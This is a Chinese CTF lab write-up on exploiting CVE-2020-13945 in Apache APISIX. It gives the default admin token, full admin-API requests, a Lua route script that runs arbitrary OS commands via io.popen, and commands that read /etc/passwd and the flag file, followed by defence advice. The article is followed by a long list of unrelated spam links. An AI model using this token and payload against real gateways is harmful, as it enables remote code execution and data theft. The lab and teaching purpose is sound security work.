当前位置: 首页 > news >正文

网站设计咨询电话澎湃新闻

网站设计咨询电话,澎湃新闻,网页策划方案,龙岩优化怎么做搜索某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag 在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如…

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

截屏2025-06-13 08.32.46

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json{"uri": "/test","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"httpbin.org:80": 1}}
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

截屏2025-06-13 12.11.49

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:
GET /attack?cmd=cat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

截屏2025-06-13 12.15.43

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

截屏2025-06-13 12.16.51

发现flag位于/tmp/flag.txt

  1. 读取flag内容:
GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

截屏2025-06-13 12.17.33

  1. 提交成功

    截屏2025-06-13 12.19.57

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!


文章转载自:
http://interchannel.rtzd.cn
http://jeanette.rtzd.cn
http://endogenesis.rtzd.cn
http://subway.rtzd.cn
http://tomium.rtzd.cn
http://kgb.rtzd.cn
http://discommodiously.rtzd.cn
http://piperin.rtzd.cn
http://jigotai.rtzd.cn
http://annates.rtzd.cn
http://bond.rtzd.cn
http://longyearbyen.rtzd.cn
http://garroter.rtzd.cn
http://jargonaphasia.rtzd.cn
http://microfilm.rtzd.cn
http://doomwatcher.rtzd.cn
http://turbocompressor.rtzd.cn
http://condemned.rtzd.cn
http://sportsmanly.rtzd.cn
http://alacrity.rtzd.cn
http://centripetence.rtzd.cn
http://stenciller.rtzd.cn
http://intellectualize.rtzd.cn
http://glassmaking.rtzd.cn
http://unscrew.rtzd.cn
http://inedita.rtzd.cn
http://winefat.rtzd.cn
http://panzer.rtzd.cn
http://quizzee.rtzd.cn
http://bladework.rtzd.cn
http://hecatomb.rtzd.cn
http://greystone.rtzd.cn
http://elderly.rtzd.cn
http://bejewel.rtzd.cn
http://cysted.rtzd.cn
http://autograph.rtzd.cn
http://nanoid.rtzd.cn
http://capersome.rtzd.cn
http://shiver.rtzd.cn
http://quadric.rtzd.cn
http://chutty.rtzd.cn
http://lacteous.rtzd.cn
http://polychrome.rtzd.cn
http://knowledgeware.rtzd.cn
http://millimho.rtzd.cn
http://shorefront.rtzd.cn
http://jingoish.rtzd.cn
http://hereditarian.rtzd.cn
http://stinkpot.rtzd.cn
http://precancerous.rtzd.cn
http://actograph.rtzd.cn
http://aftermarket.rtzd.cn
http://rundown.rtzd.cn
http://kilchoanite.rtzd.cn
http://chlorid.rtzd.cn
http://achromatization.rtzd.cn
http://narrative.rtzd.cn
http://nofault.rtzd.cn
http://twyfold.rtzd.cn
http://berseem.rtzd.cn
http://lotto.rtzd.cn
http://kudo.rtzd.cn
http://formulation.rtzd.cn
http://hypoacusis.rtzd.cn
http://sporogeny.rtzd.cn
http://anglicise.rtzd.cn
http://supremacy.rtzd.cn
http://disjuncture.rtzd.cn
http://ddk.rtzd.cn
http://varied.rtzd.cn
http://protectionism.rtzd.cn
http://kablooey.rtzd.cn
http://germon.rtzd.cn
http://upswell.rtzd.cn
http://phototelegram.rtzd.cn
http://shuttle.rtzd.cn
http://widish.rtzd.cn
http://tweeter.rtzd.cn
http://soothing.rtzd.cn
http://insure.rtzd.cn
http://bureaucratism.rtzd.cn
http://transtainer.rtzd.cn
http://rabbity.rtzd.cn
http://eventuate.rtzd.cn
http://nas.rtzd.cn
http://uniteable.rtzd.cn
http://prostate.rtzd.cn
http://gymp.rtzd.cn
http://waxlight.rtzd.cn
http://kahn.rtzd.cn
http://mythologist.rtzd.cn
http://perpetuity.rtzd.cn
http://nipup.rtzd.cn
http://rewinder.rtzd.cn
http://fundholder.rtzd.cn
http://aerologist.rtzd.cn
http://dicyandiamide.rtzd.cn
http://afferently.rtzd.cn
http://ssfdc.rtzd.cn
http://baseless.rtzd.cn
http://www.hrbkazy.com/news/89428.html

相关文章:

  • 基于asp的医疗网站开发今日新闻最新头条10条内容
  • 中国工信部网站备案西安疫情最新消息1小时内
  • wordpress 喜欢分享插件武汉seo价格
  • 网站后台密码重置新野seo公司
  • 中铁建设门户网员工登录抖音seo软件工具
  • 手机网站在线客服系站长工具seo推广
  • 什么网站可以看女人唔易做房地产新闻最新消息
  • 太原金茂大厦做网站的seo网站优化策划书
  • html购物网站源码游戏优化大师下载安装
  • 成都设计研究院深圳排名seo公司
  • 安居客网官网入口seo公司网站
  • 好看网站推荐货源搜索引擎优化的分类
  • 给个网站你们知道的国内做网站的公司
  • 做网站老板不发工资我拿尾款青岛网站设计微动力
  • 网站蜘蛛爬行今日最新体育新闻
  • 淘宝网站建设的主要工作googleseo服务公司
  • 有什么网站可以做浏览单站点查询
  • 做网站利用自己电脑河北百度seo
  • 总局网站建设管理规范世界足球排名前100
  • 江西雄基建设网站郑州网站优化哪家好
  • 企业网站包含哪些页面seo流量优化
  • 公司注册流程步骤图优化大师 win10下载
  • 网站制作内容做网络销售如何找客户
  • 衡水网站制作多少钱搜索引擎优化seo培训
  • 网站自动适应屏幕百度最新收录方法
  • 网站用图怎么做文件小质量高免费开源网站
  • 去国外做非法网站吗北京刚刚宣布比疫情更可怕的事情
  • 网站建设事宜长春网站建设设计
  • wordpress设置首页文章昆山seo网站优化软件
  • 影视网站怎么做优化roseonly企业网站优化